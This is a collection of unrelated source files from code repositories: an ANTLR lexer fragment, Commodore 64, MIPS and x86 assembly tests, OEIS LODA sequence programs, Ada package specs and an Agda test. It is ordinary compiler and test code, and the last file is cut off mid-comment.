MULTILINE_COMMENT: '/*' .*? ( '*/' | EOF) -> channel(HIDDEN);
WS : (' '|'\r'|'\t'|'\n') -> channel(HIDDEN);
fragment
Exponent
: ('e' | 'E') ( PLUS|MINUS )? (Digit)+
;
fragment
HexDigit
: 'a'..'f' | 'A'..'F'
;
fragment DIGIT
: [0-9]
;
fragment EXPONENT
: 'E' [+-]? DIGIT+
;
fragment A: [aA];
fragment B: [bB];
fragment C: [cC];
fragment D: [dD];
fragment E: [eE];
fragment F: [fF];
fragment G: [gG];
fragment H: [hH];
fragment I: [iI];
fragment J: [jJ];
fragment K: [kK];
fragment L: [lL];
fragment M: [mM];
fragment N: [nN];
fragment O: [oO];
fragment P: [pP];
fragment Q: [qQ];
fragment R: [rR];
fragment S: [sS];
fragment T: [tT];
fragment U: [uU];
fragment V: [vV];
fragment W: [wW];
fragment X: [xX];
fragment Y: [yY];
fragment Z: [zZ];
UNRECOGNIZED
: .
;
|
src/test/ref/ptr-complex.asm | jbrandwood/kickc | 2 | 87191 | // Test some complex pointers
// Commodore 64 PRG executable file
.file [name="ptr-complex.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.segment Code
main: {
// RValue pointer expression (constant)
.label screen = $400
// Increment on a const named pointer
.label BG_COLOR = $d020
// LValue pointer expression (constant - through tmp variable)
.label sc2 = screen+$51
ldx #0
// RValue pointer expression (variable)
__b1:
// screen[i] = *(screen+40+i)
lda screen+$28,x
sta screen,x
// for(byte i : 0..10)
inx
cpx #$b
bne __b1
// *sc2 = *(screen+121)
lda screen+$79
sta sc2
// *(screen+82) = *(screen+122)
// LValue pointer expression (constant - directly)
lda screen+$7a
sta screen+$52
ldx #0
// LValue pointer expression (variable - directly)
__b3:
// *(screen+160+j) = *(screen+200+j)
lda screen+$c8,x
sta screen+$a0,x
// for(byte j : 0..10)
inx
cpx #$b
bne __b3
// ++*(byte*)$d020;
inc $d020
// --*(byte*)($d000+$21);
dec $d000+$21
// ++*BG_COLOR;
inc BG_COLOR
// }
rts
}
|
oeis/321/A321540.asm | neoneye/loda-programs | 11 | 88706 | <reponame>neoneye/loda-programs<filename>oeis/321/A321540.asm
; A321540: 3^n with digits rearranged into nondecreasing order.
; Submitted by <NAME>(r1)
; 1,3,9,27,18,234,279,1278,1566,13689,4599,114777,113445,1233459,2467899,1344789,1234467,11123469,23447889,1112246667,134446788,12333456,113356899,11234477889,122234456889,23444678889,1222345568889,2445567778899
mov $1,3
pow $1,$0
seq $1,4185 ; Arrange digits of n in increasing order, then (for n>0) omit the zeros.
mov $0,$1
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/concat1_pkg.ads | best08618/asylo | 7 | 27155 | <gh_stars>1-10
package Concat1_Pkg is
function Ident (I : Integer) return Integer;
end Concat1_Pkg;
|
os/lib/k_time.asm | conorm110/KoalemOS | 0 | 247096 | <reponame>conorm110/KoalemOS
; Copyright (c) 2021, <NAME>
; All rights reserved.
; This source code is licensed under the BSD-style license found in the
; LICENSE file in the root directory of this source tree.
; Linking
global delay_cycle
; delay_cycle: delay one clk
;
; delays by one CPU cycle (nop)
; DO NOT USE FOR REAL TIMING
; JUST FOR DEBUGGING
delay_cycle:
nop
ret |
test/interaction/Issue3020-2.agda | shlevy/agda | 1,989 | 8472 | <gh_stars>1000+
mutual
record R : Set₁ where
field
A : Set
B : Set
B = A
field
C : Set
D : Set
D = A → B → C
record S : Set₁ where
field
A : Set
B : Set
B = A
field
C : Set
D : Set
D = A → B → C
|
P6/data_P6_2/ALUTest68.asm | alxzzhou/BUAA_CO_2020 | 1 | 175956 | <gh_stars>1-10
ori $1,$4,29068
slti $3,$1,753
sw $5,4($0)
addu $0,$4,$3
sb $3,12($0)
addu $6,$4,$3
subu $3,$5,$3
sllv $1,$2,$3
lh $3,16($0)
srl $6,$4,3
addiu $1,$1,-32458
sltiu $3,$1,-20009
andi $4,$6,41370
srav $3,$5,$3
srlv $4,$4,$3
slt $4,$0,$3
srl $3,$3,25
lw $3,12($0)
subu $3,$5,$3
lhu $5,8($0)
subu $1,$3,$3
addu $4,$4,$3
subu $3,$3,$3
andi $1,$6,15881
andi $3,$5,16957
subu $3,$4,$3
xor $3,$3,$3
sllv $4,$2,$3
and $5,$3,$3
or $5,$0,$3
ori $1,$0,36709
subu $1,$1,$3
addiu $5,$5,-4178
sh $3,8($0)
addiu $5,$5,8735
or $3,$3,$3
lw $0,0($0)
andi $3,$3,50487
sra $5,$4,1
xori $3,$0,29531
srav $5,$4,$3
ori $3,$4,26051
sb $4,13($0)
sra $4,$4,15
sll $3,$3,17
addu $4,$6,$3
sll $6,$1,18
sw $6,0($0)
srav $6,$3,$3
addiu $5,$5,-30948
sh $4,0($0)
lb $3,8($0)
sll $4,$3,29
lh $4,16($0)
sltiu $3,$3,9834
addu $4,$5,$3
sltiu $5,$3,-7225
xor $4,$5,$3
sltiu $0,$5,-14132
srav $5,$3,$3
and $4,$4,$3
subu $0,$0,$3
addu $5,$5,$3
addiu $6,$6,21268
subu $1,$3,$3
lbu $6,11($0)
lb $6,2($0)
sra $3,$6,21
andi $4,$2,28012
nor $4,$3,$3
xori $6,$6,58550
addiu $3,$4,19959
subu $3,$3,$3
nor $4,$4,$3
addu $3,$4,$3
sra $3,$4,30
nor $3,$0,$3
sh $3,14($0)
or $4,$4,$3
addiu $3,$3,4374
addiu $1,$1,32132
sltiu $3,$3,-10993
sll $0,$3,29
sra $5,$5,11
sllv $6,$6,$3
addiu $3,$3,-6044
andi $1,$1,43203
sllv $3,$5,$3
sh $3,8($0)
nor $0,$5,$3
subu $3,$3,$3
sw $3,8($0)
addiu $3,$0,-7297
addiu $6,$4,-2436
slti $3,$3,-29588
slt $0,$5,$3
subu $4,$4,$3
lbu $3,14($0)
addiu $3,$3,-32115
sw $6,0($0)
sltiu $0,$4,19228
lhu $1,6($0)
nor $5,$4,$3
sw $3,16($0)
sb $3,11($0)
lb $3,8($0)
sb $3,6($0)
addiu $3,$3,6882
lbu $4,10($0)
srlv $6,$1,$3
and $3,$3,$3
xor $6,$3,$3
lh $1,2($0)
slti $4,$0,28072
ori $1,$1,28858
sll $6,$3,15
srlv $3,$4,$3
lw $5,12($0)
andi $6,$2,25771
srl $4,$4,27
sra $3,$6,1
addu $4,$5,$3
and $3,$1,$3
srl $3,$5,25
addu $3,$4,$3
addiu $1,$5,11593
and $1,$4,$3
subu $5,$5,$3
srlv $3,$3,$3
sllv $4,$1,$3
ori $1,$4,38357
addiu $0,$0,-16149
sra $4,$0,31
addiu $5,$3,940
xor $1,$1,$3
sra $1,$1,3
sra $4,$1,29
sh $4,10($0)
sltiu $5,$1,-5759
slti $5,$5,14205
lbu $1,14($0)
sh $4,16($0)
lhu $3,10($0)
sll $1,$1,0
srl $3,$3,5
andi $1,$3,982
nor $5,$5,$3
srl $3,$3,27
sll $6,$6,20
andi $3,$3,58087
lh $4,16($0)
xor $3,$4,$3
addiu $3,$1,28122
sb $6,1($0)
and $4,$4,$3
lhu $3,10($0)
sw $3,0($0)
subu $3,$3,$3
xori $0,$0,11015
srlv $6,$2,$3
srlv $3,$3,$3
or $1,$2,$3
subu $3,$3,$3
ori $3,$3,34085
lb $3,13($0)
subu $0,$3,$3
sra $4,$4,3
sltiu $5,$5,-14755
lb $3,15($0)
srav $1,$3,$3
srlv $3,$3,$3
sh $2,12($0)
lb $3,9($0)
andi $3,$3,42389
addiu $1,$1,15295
sb $5,5($0)
sb $4,14($0)
srl $6,$1,13
sllv $5,$4,$3
addu $1,$1,$3
sh $5,4($0)
nor $5,$4,$3
srlv $1,$1,$3
addiu $3,$3,25050
sh $3,10($0)
sra $0,$3,3
addu $6,$4,$3
addu $3,$2,$3
lhu $0,4($0)
addu $3,$6,$3
sltu $1,$1,$3
sra $4,$5,27
srav $4,$3,$3
sllv $6,$6,$3
xori $3,$3,15788
sltiu $4,$4,-16867
slt $3,$3,$3
lbu $3,11($0)
xori $3,$0,31205
sll $3,$4,10
sra $5,$2,7
slti $5,$0,18372
addiu $4,$3,7978
addu $5,$5,$3
subu $4,$0,$3
sb $6,6($0)
slt $3,$1,$3
lw $4,16($0)
slt $4,$4,$3
xor $1,$3,$3
srl $3,$4,22
xor $3,$3,$3
addu $5,$4,$3
sllv $3,$3,$3
srl $3,$5,11
subu $1,$6,$3
sll $1,$4,5
lb $1,2($0)
slti $3,$3,-24973
lh $5,4($0)
lw $1,4($0)
srl $4,$4,28
addiu $5,$4,18353
subu $5,$5,$3
nor $5,$5,$3
addu $4,$5,$3
sb $0,5($0)
sb $0,6($0)
sll $3,$2,16
sllv $4,$6,$3
lbu $3,11($0)
nor $1,$0,$3
sra $5,$0,1
subu $4,$4,$3
ori $4,$0,55052
sra $4,$3,24
lb $6,12($0)
andi $4,$1,57332
sltu $0,$3,$3
sra $5,$3,15
sll $4,$1,21
slti $4,$6,-25186
sltiu $4,$5,-7550
addiu $1,$4,-13133
ori $0,$3,41809
sh $5,12($0)
slt $1,$1,$3
sllv $0,$4,$3
xor $3,$6,$3
lb $5,14($0)
srav $5,$5,$3
lhu $3,12($0)
sw $3,16($0)
xor $1,$4,$3
and $3,$1,$3
lbu $3,6($0)
srlv $5,$5,$3
lw $1,12($0)
sb $1,12($0)
lw $3,0($0)
addu $1,$3,$3
slti $5,$5,-1505
addu $4,$5,$3
lbu $1,4($0)
lh $1,16($0)
xori $1,$3,5945
addu $4,$3,$3
or $5,$4,$3
addu $5,$5,$3
slt $3,$3,$3
nor $0,$4,$3
ori $4,$3,6129
addiu $3,$1,-2293
lh $5,4($0)
or $5,$5,$3
and $3,$3,$3
sra $3,$5,2
xori $3,$6,54416
sltu $3,$3,$3
or $3,$1,$3
addiu $5,$0,-1853
sb $3,4($0)
srlv $4,$1,$3
lw $4,12($0)
slti $3,$0,15516
sb $1,15($0)
sll $5,$6,26
lh $4,16($0)
subu $3,$1,$3
addu $4,$5,$3
or $5,$4,$3
ori $5,$4,31352
and $2,$2,$3
lhu $5,2($0)
nor $1,$3,$3
andi $3,$4,50625
slt $1,$1,$3
sh $0,2($0)
or $3,$4,$3
addiu $1,$1,15444
ori $1,$1,7282
subu $3,$3,$3
nor $3,$1,$3
slti $1,$4,215
lbu $1,8($0)
addu $3,$5,$3
sw $5,4($0)
nor $4,$3,$3
slt $0,$0,$3
srlv $3,$1,$3
nor $5,$0,$3
lh $4,8($0)
addu $3,$3,$3
lbu $4,0($0)
or $3,$3,$3
subu $4,$3,$3
addiu $4,$6,28187
srl $1,$0,16
slti $4,$0,-6808
nor $3,$3,$3
nor $1,$3,$3
slti $3,$3,19829
sw $5,8($0)
subu $4,$0,$3
lh $3,6($0)
xori $5,$4,20048
addiu $4,$4,29930
addiu $3,$6,-29057
addiu $2,$2,-21160
srlv $1,$5,$3
lw $3,0($0)
nor $3,$6,$3
sltu $3,$4,$3
sb $3,6($0)
addu $5,$5,$3
sltu $2,$2,$3
lbu $3,3($0)
srav $5,$1,$3
lb $3,6($0)
subu $3,$5,$3
sllv $1,$4,$3
lb $5,5($0)
addu $3,$2,$3
srlv $3,$3,$3
srav $3,$4,$3
srlv $1,$6,$3
addu $1,$1,$3
srav $4,$5,$3
sw $5,16($0)
lh $3,6($0)
sllv $1,$3,$3
ori $3,$3,28760
sllv $3,$1,$3
lw $4,8($0)
srlv $1,$5,$3
addiu $3,$3,-16302
srlv $4,$1,$3
addiu $3,$1,24086
subu $3,$3,$3
slt $4,$4,$3
addu $5,$4,$3
addiu $4,$4,-5976
lh $4,8($0)
addu $1,$5,$3
sh $0,4($0)
lh $4,14($0)
sltu $3,$3,$3
ori $3,$3,34893
or $1,$1,$3
xor $4,$3,$3
sllv $0,$0,$3
ori $6,$3,14469
lbu $3,4($0)
addu $3,$3,$3
or $5,$0,$3
sra $3,$1,13
addiu $3,$3,-20492
slt $0,$5,$3
srl $4,$2,1
subu $1,$3,$3
srav $6,$6,$3
and $3,$3,$3
xori $3,$3,34971
addu $4,$3,$3
addu $3,$3,$3
nor $1,$1,$3
xor $5,$5,$3
sra $3,$1,6
lh $4,8($0)
addiu $3,$1,29647
sb $2,0($0)
slti $3,$3,30365
sw $1,16($0)
addu $0,$3,$3
lb $3,13($0)
srl $5,$3,15
and $1,$4,$3
or $5,$3,$3
sra $0,$1,17
and $3,$0,$3
nor $5,$5,$3
andi $1,$5,46775
sltiu $6,$6,26813
addiu $3,$5,1494
addiu $3,$3,-6645
sltiu $3,$6,-12519
slt $5,$5,$3
slti $4,$4,15196
sltiu $3,$5,-11335
and $3,$5,$3
sltiu $3,$1,21848
subu $4,$4,$3
sllv $3,$3,$3
nor $3,$4,$3
addiu $4,$5,15547
lhu $3,8($0)
and $0,$4,$3
srl $5,$3,1
addiu $3,$3,-24129
sh $1,0($0)
lbu $4,9($0)
ori $1,$3,46335
andi $4,$1,31383
lh $3,0($0)
andi $5,$1,31856
lh $3,0($0)
subu $5,$5,$3
xori $5,$0,60361
and $1,$4,$3
xori $4,$4,47226
lbu $4,4($0)
addu $3,$6,$3
srl $5,$4,21
addiu $6,$3,17655
addu $5,$1,$3
sltu $3,$0,$3
sb $3,0($0)
addu $5,$5,$3
sb $4,1($0)
sh $4,16($0)
srlv $3,$3,$3
sltu $3,$3,$3
sltu $5,$3,$3
subu $4,$3,$3
subu $3,$0,$3
ori $6,$4,22505
addu $1,$1,$3
nor $5,$5,$3
lw $6,8($0)
srav $5,$3,$3
or $4,$4,$3
subu $5,$3,$3
addiu $3,$1,-6175
srav $1,$1,$3
ori $5,$5,29730
sh $6,12($0)
sra $3,$4,5
addu $1,$3,$3
sh $3,12($0)
lhu $4,8($0)
addiu $1,$1,-154
addiu $4,$3,-28956
srav $1,$5,$3
lw $6,12($0)
xor $5,$4,$3
lb $4,12($0)
srav $4,$4,$3
lh $5,12($0)
subu $5,$5,$3
srav $1,$6,$3
sllv $3,$2,$3
xor $4,$3,$3
addu $5,$5,$3
srlv $0,$6,$3
sra $1,$2,8
sw $4,0($0)
sw $1,12($0)
lbu $3,4($0)
andi $4,$2,52974
xori $1,$1,45793
ori $1,$1,59411
andi $5,$3,50553
sh $0,16($0)
xori $0,$3,41695
subu $5,$1,$3
sh $4,8($0)
slt $3,$3,$3
addiu $1,$3,9179
srlv $5,$2,$3
xor $5,$3,$3
nor $3,$3,$3
andi $4,$4,4351
sb $5,0($0)
sw $4,4($0)
sw $1,4($0)
sw $5,16($0)
addu $3,$4,$3
slti $4,$4,-15532
subu $5,$3,$3
addiu $0,$3,16272
sllv $1,$5,$3
sltu $4,$1,$3
andi $3,$4,64449
lh $6,16($0)
addu $6,$5,$3
sb $4,16($0)
lw $5,4($0)
sra $5,$0,0
sltiu $3,$3,24079
srav $5,$4,$3
subu $3,$3,$3
sll $3,$3,8
srl $1,$4,20
lw $3,12($0)
sra $4,$6,16
xor $4,$4,$3
lb $0,1($0)
and $6,$1,$3
sltiu $3,$3,-313
sw $4,0($0)
and $5,$5,$3
and $3,$3,$3
subu $5,$1,$3
slti $5,$5,3976
lw $1,4($0)
srav $4,$0,$3
slt $4,$1,$3
srl $5,$5,5
ori $3,$3,43065
sra $3,$1,0
lb $0,10($0)
slti $3,$3,10767
or $3,$1,$3
lb $0,16($0)
srl $1,$6,23
sh $3,10($0)
sll $5,$5,28
andi $4,$4,20444
subu $4,$1,$3
sltu $6,$3,$3
sltiu $3,$4,-5028
nor $6,$1,$3
lb $0,4($0)
lw $5,8($0)
lb $4,4($0)
slti $0,$3,9846
lw $0,4($0)
lw $3,0($0)
ori $5,$5,64413
nor $1,$1,$3
lhu $4,10($0)
sllv $3,$3,$3
lb $0,7($0)
lh $3,0($0)
slti $6,$3,-25926
sw $4,8($0)
xor $3,$3,$3
xor $1,$4,$3
sltu $5,$0,$3
sll $0,$0,7
sllv $6,$6,$3
lbu $5,3($0)
and $4,$0,$3
or $3,$0,$3
xor $3,$3,$3
lbu $5,8($0)
ori $3,$6,5611
sw $1,0($0)
xor $1,$1,$3
sltiu $3,$5,3855
srav $6,$4,$3
addiu $1,$1,-19130
sltiu $4,$1,-5465
subu $4,$3,$3
srl $5,$1,12
subu $5,$5,$3
srlv $4,$1,$3
xor $3,$1,$3
addu $3,$3,$3
addu $1,$1,$3
subu $0,$0,$3
sra $5,$3,25
addiu $3,$3,27835
lw $1,0($0)
lhu $3,14($0)
srav $0,$4,$3
lhu $5,6($0)
lhu $5,0($0)
sb $1,13($0)
sltiu $1,$3,-20937
ori $5,$5,53577
srav $3,$5,$3
lhu $1,8($0)
xori $0,$5,59729
addiu $3,$0,-11264
addiu $1,$2,14395
ori $5,$5,4233
addiu $3,$3,26334
lb $3,4($0)
srl $0,$0,22
sb $1,16($0)
nor $4,$3,$3
slt $3,$6,$3
slt $4,$3,$3
ori $1,$4,3925
and $1,$4,$3
lbu $3,3($0)
sra $3,$3,17
and $1,$1,$3
sltiu $0,$3,-12440
xor $3,$0,$3
lbu $4,12($0)
sw $3,0($0)
lbu $5,2($0)
ori $3,$6,19780
sltiu $4,$4,22475
sh $3,16($0)
sltu $1,$0,$3
addu $1,$1,$3
subu $1,$3,$3
xori $0,$0,47365
sllv $6,$3,$3
sltiu $2,$2,-12192
addu $3,$5,$3
sllv $3,$0,$3
srl $3,$3,15
slt $3,$4,$3
slti $3,$1,-26771
subu $4,$6,$3
sllv $4,$2,$3
slti $1,$3,26130
sltu $4,$3,$3
lh $3,14($0)
srl $3,$4,27
lhu $3,2($0)
xor $4,$4,$3
sw $4,16($0)
andi $1,$3,25187
addu $1,$6,$3
sllv $6,$3,$3
sb $0,14($0)
andi $4,$4,21119
lb $1,0($0)
sllv $4,$1,$3
srlv $4,$5,$3
or $4,$4,$3
xor $4,$4,$3
sll $4,$1,8
addu $4,$4,$3
srav $5,$3,$3
lb $3,1($0)
sh $2,6($0)
ori $3,$3,41710
sb $6,2($0)
nor $6,$5,$3
addiu $1,$1,-29558
addiu $1,$5,-918
srl $4,$1,25
addiu $4,$4,-29012
addu $1,$3,$3
sb $3,11($0)
srlv $3,$5,$3
sh $1,10($0)
srlv $5,$5,$3
addiu $3,$4,-31513
srl $3,$4,18
lh $3,14($0)
sw $3,8($0)
sw $1,4($0)
slti $4,$3,-23285
ori $6,$1,49290
sltiu $1,$3,20375
lhu $5,12($0)
sll $6,$5,24
subu $5,$1,$3
addiu $1,$1,-20797
lh $6,8($0)
sh $3,14($0)
and $3,$3,$3
nor $5,$1,$3
lw $3,16($0)
sltu $3,$4,$3
addiu $6,$3,30045
sh $5,16($0)
srlv $1,$1,$3
lhu $3,12($0)
sra $1,$5,24
srav $3,$3,$3
sllv $1,$0,$3
subu $4,$6,$3
slti $4,$0,23497
lhu $1,10($0)
or $3,$3,$3
subu $3,$3,$3
slt $5,$0,$3
lw $3,16($0)
or $1,$4,$3
andi $1,$1,30557
srav $1,$3,$3
nor $0,$3,$3
subu $1,$3,$3
sltiu $3,$0,-14877
sll $5,$3,28
srlv $6,$6,$3
and $0,$0,$3
lb $3,4($0)
addu $4,$3,$3
lhu $3,8($0)
lw $1,12($0)
addiu $5,$6,26386
subu $1,$2,$3
slt $0,$3,$3
slti $4,$4,16788
sllv $5,$1,$3
slt $1,$1,$3
lw $3,0($0)
sra $1,$4,13
lw $5,12($0)
sb $4,7($0)
sb $3,4($0)
sb $1,1($0)
lhu $6,16($0)
addiu $3,$0,-29848
nor $0,$4,$3
sllv $0,$6,$3
nor $6,$6,$3
andi $3,$0,56202
srav $3,$5,$3
addu $4,$4,$3
nor $3,$1,$3
xori $3,$4,17605
lhu $1,12($0)
subu $3,$3,$3
sb $4,2($0)
addiu $3,$2,-18594
xor $1,$5,$3
srl $4,$1,23
xor $5,$0,$3
srlv $1,$3,$3
ori $3,$4,2704
lbu $3,8($0)
sll $0,$1,23
sra $3,$1,30
srl $3,$3,24
xor $3,$3,$3
sllv $5,$3,$3
srl $3,$5,27
lhu $6,8($0)
lw $4,4($0)
lh $3,4($0)
addiu $4,$4,1402
addu $6,$3,$3
lhu $4,2($0)
srlv $4,$3,$3
and $4,$4,$3
addiu $0,$0,-21100
xor $0,$0,$3
addiu $0,$0,30748
slt $4,$3,$3
sra $5,$3,27
slti $5,$5,26423
slti $4,$6,12398
subu $4,$4,$3
lhu $4,14($0)
sh $3,8($0)
sltu $1,$3,$3
lbu $0,12($0)
sltu $4,$4,$3
sltu $4,$1,$3
lw $4,4($0)
sll $3,$3,24
sh $3,16($0)
lw $1,4($0)
sra $3,$2,17
and $4,$2,$3
slti $3,$3,-10991
sll $5,$6,3
sltiu $3,$2,455
sltu $3,$3,$3
xor $6,$2,$3
slti $3,$2,-1022
ori $4,$3,2597
srl $3,$3,8
slti $6,$4,16409
andi $6,$1,52852
slt $3,$3,$3
lbu $4,12($0)
sw $4,8($0)
xori $1,$3,1086
nor $4,$1,$3
lhu $3,0($0)
srl $5,$3,14
ori $3,$6,40468
addu $3,$1,$3
sb $5,12($0)
srlv $4,$3,$3
srav $1,$3,$3
sltiu $6,$3,-22323
lh $3,2($0)
sw $1,16($0)
srlv $0,$3,$3
andi $5,$1,42813
srlv $1,$2,$3
sh $1,10($0)
addiu $1,$3,11711
addu $4,$4,$3
lhu $1,8($0)
xori $5,$5,33111
addu $4,$4,$3
addu $6,$6,$3
lh $3,10($0)
sllv $3,$3,$3
addu $6,$3,$3
andi $4,$5,63596
srav $6,$4,$3
andi $0,$0,5694
lh $4,2($0)
sltiu $3,$1,23745
addiu $4,$3,-1932
lh $0,6($0)
slt $3,$5,$3
or $4,$3,$3
addu $3,$3,$3
addu $4,$5,$3
sh $3,6($0)
slti $5,$3,29289
addiu $4,$5,9170
srl $3,$6,28
lw $4,0($0)
sb $0,15($0)
lw $1,8($0)
addu $5,$3,$3
xor $3,$1,$3
sra $3,$6,16
lw $3,12($0)
lbu $4,6($0)
srlv $3,$5,$3
xori $4,$4,51648
sh $1,4($0)
addu $4,$4,$3
slti $5,$5,-9376
lbu $5,5($0)
srav $1,$4,$3
xor $3,$5,$3
srlv $6,$5,$3
lw $3,8($0)
sb $3,4($0)
addu $4,$4,$3
sll $4,$6,0
lbu $4,3($0)
andi $3,$4,35302
sh $6,4($0)
slti $3,$4,-6177
srl $3,$3,25
xori $3,$0,26518
sb $4,10($0)
andi $3,$3,16783
sll $3,$4,17
lbu $0,4($0)
andi $4,$4,63424
srlv $0,$4,$3
sltiu $4,$4,15295
sb $3,14($0)
xori $3,$3,58439
srlv $6,$1,$3
subu $3,$1,$3
nor $4,$3,$3
subu $0,$0,$3
sw $1,0($0)
sltu $1,$3,$3
subu $5,$1,$3
subu $3,$4,$3
sb $3,8($0)
srlv $1,$1,$3
xor $5,$3,$3
slt $4,$5,$3
srlv $5,$5,$3
andi $3,$4,31770
xori $4,$4,7347
slti $5,$6,-7257
subu $4,$3,$3
srlv $4,$4,$3
srlv $3,$3,$3
lw $4,8($0)
lh $3,0($0)
slti $1,$5,-31153
or $3,$3,$3
addiu $4,$3,27329
|
oeis/050/A050489.asm | neoneye/loda-programs | 11 | 5049 | ; A050489: a(n) = C(n)*(10n+1) where C(n)=Catalan numbers (A000108).
; Submitted by <NAME>(s4)
; 1,11,42,155,574,2142,8052,30459,115830,442442,1696396,6525246,25169452,97319900,377096040,1463921595,5692584870,22169259090,86452604700,337547269290,1319388204420,5162382341220,20217646564440,79246770753150,310866899505084,1220348546764452,4793879151831672,18843592298237084,74113174441851160,291652485045548088,1148310937129783504,4523381808199568699,17826434825532471558,70283259166452469410,277213918373058190524,1093816208712462742962,4317487217295623710612,17047748404434666417044
mov $2,$0
seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!).
mul $2,$0
mul $2,10
add $0,$2
|
src/features/editor/examples/keyboard_input.asm | exuanbo/samphire-ts | 0 | 27028 | <reponame>exuanbo/samphire-ts
; --------------------------------------
; Keyboard Input
; --------------------------------------
MOV BL, C0 ; Make BL point to video RAM
Loop:
IN 00 ; Wait for keyboard input
CMP AL, 0D ; Check if the key was Enter (Carriage Return)
JZ Done
MOV [BL], AL ; Copy the data in AL to the video RAM that BL points to
INC BL ; Make BL point to the next video RAM location
JNZ Loop
Done:
; --------------------------------------
END
; --------------------------------------
For more examples, select File > Open Example.
|
src/repository.ads | kraileth/ravenadm | 18 | 10271 | -- This file is covered by the Internet Software Consortium (ISC) License
-- Reference: ../License.txt
with Definitions; use Definitions;
package Repository is
-- returns True if CONSERVATIVE_UPGRADE option on host pkg(8) is enabled
function host_pkg8_conservative_upgrade_set return Boolean;
-- Create a pkg repo conf file (requires root permission)
function write_pkg_repos_configuration_file return Boolean;
-- Rebuild the local repository with pkg(8)
procedure rebuild_local_respository (remove_invalid_packages : Boolean);
private
bad_command : exception;
sorry : constant String := "The generated repository will not be signed due " &
"to the misconfiguration.";
-- Return the contents of the profile's signing command
function signing_command return String;
-- Return the contents of the profile's fingerprint
function profile_fingerprint return String;
-- The check for existence of both [profile]-signing_command and
-- [profile]-fingerprint. If only one exists, a non-fatal notice is
-- emitted without signing the repository. Returns True if both files
-- exist and aren't empty.
function valid_signing_command return Boolean;
-- This checks for existence of both [profile]-public.key and
-- [profile]-private.key. If only one exists, a non-fatal notice is
-- emitted saying signing configuration is incomplete (repo will not be
-- signed). The permissions for the private key will be checked, and if
-- not 400 and owned by root, it will fail fatally.
-- Returns False with fatal fail, otherwises it always returns True
function acceptable_RSA_signing_support return Boolean;
-- Return True if repo is configured to be built with RSA
function set_raven_conf_with_RSA return Boolean;
-- Returns ${LOCALBASE}/etc/raven/[profile]-
function get_file_prefix return String;
-- Returns octal failure of file permissions or "000" upon command failure
function file_permissions (full_path : String) return String;
-- Query pkg(8)'s repos_dir configuration instead of assuming default
function get_repos_dir return String;
-- This routine first removes all invalid packages (package from removed
-- port or older version) and inserts the origins of the remaining packages
-- into the port list for a limited tree scan.
procedure preclean_repository (repository : String);
-- The actual command to build a local repository (Returns True on success)
function build_repository (sign_command : String := "") return Boolean;
-- generic command, throws exception if exit code is not zero
procedure silent_exec (command : String);
end Repository;
|
programs/oeis/120/A120206.asm | neoneye/loda | 22 | 175307 | <filename>programs/oeis/120/A120206.asm<gh_stars>10-100
; A120206: a(1)=5; a(n)=floor((49+sum(a(1) to a(n-1)))/9).
; 5,6,6,7,8,9,10,11,12,13,15,16,18,20,22,25,28,31,34,38,42,47,52,58,64,71,79,88,98,109,121,134,149,166,184,205,227,253,281,312
add $0,1
mov $2,7
lpb $0
sub $0,1
add $2,$1
mov $1,6
add $1,$2
div $1,9
add $2,4
lpe
add $1,4
mov $0,$1
|
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm | meesokim/z88dk | 0 | 247559 |
; void *p_forward_list_front_fastcall(p_forward_list_t *list)
SECTION code_adt_p_forward_list
PUBLIC _p_forward_list_front_fastcall
_p_forward_list_front_fastcall:
INCLUDE "adt/p_forward_list/z80/asm_p_forward_list_front.asm"
|
programs/oeis/008/A008954.asm | neoneye/loda | 22 | 169 | <reponame>neoneye/loda
; A008954: Final digit of triangular number n*(n+1)/2.
; 0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0
sub $1,$0
bin $1,2
mod $1,10
mov $0,$1
|
oeis/118/A118415.asm | neoneye/loda-programs | 11 | 28524 | <filename>oeis/118/A118415.asm
; A118415: (4*n - 3) * 2^(n - 1).
; 1,10,36,104,272,672,1600,3712,8448,18944,41984,92160,200704,434176,933888,1998848,4259840,9043968,19136512,40370176,84934656,178257920,373293056,780140544,1627389952,3388997632,7046430720,14629732352,30333206528,62813896704,129922760704,268435456000,554050781184,1142461300736,2353642078208,4844723109888,9964324126720,20478404067328,42056319762432,86311662780416,177021372071936,362838837166080,743269860376576,1521724092841984,3113816929861632,6368371348078592,13018217672867840,26599385299156992
mov $1,$0
mul $0,4
add $0,1
mov $2,2
pow $2,$1
mul $0,$2
|
programs/oeis/084/A084630.asm | karttu/loda | 1 | 17968 | ; A084630: Floor(C(n+7,7)/C(n+5,5)).
; 1,1,1,2,2,3,3,4,5,5,6,7,8,9,10,11,12,13,14,15,16,18,19,20,22,23,25,26,28,30,31,33,35,37,39,41,43,45,47,49,51,53,56,58,60,63,65,68,70,73,76,78,81,84,87,90,93,96,99,102,105,108,111,115,118,121,125,128,132,135
mov $1,$0
add $1,7
bin $1,2
div $1,21
|
pin-3.22-98547-g7a303a835-gcc-linux/source/tools/Regvalue/fptag_conversion_app_asm.asm | ArthasZhang007/15418FinalProject | 0 | 18219 | <filename>pin-3.22-98547-g7a303a835-gcc-linux/source/tools/Regvalue/fptag_conversion_app_asm.asm
;
; Copyright (C) 2020-2020 Intel Corporation.
; SPDX-License-Identifier: MIT
;
include asm_macros.inc
PROLOGUE
PUBLIC FldzFunc
PUBLIC Fld1Func
PUBLIC FptagInitFunc
PUBLIC FldInfFunc
PUBLIC DoFnstenv
PUBLIC FstpFunc
.data
zero DD 0
.code
;initialize the FPU
FptagInitFunc PROC
finit
ret
FptagInitFunc ENDP
;push 1 to the FPU
Fld1Func PROC
fld1
ret
Fld1Func ENDP
;push 0 to the FPU
FldzFunc PROC
fldz
ret
FldzFunc ENDP
;push infinity to the FPU
FldInfFunc PROC
fldpi
fdiv zero
ret
FldInfFunc ENDP
;save fpu state in PARAM1 address
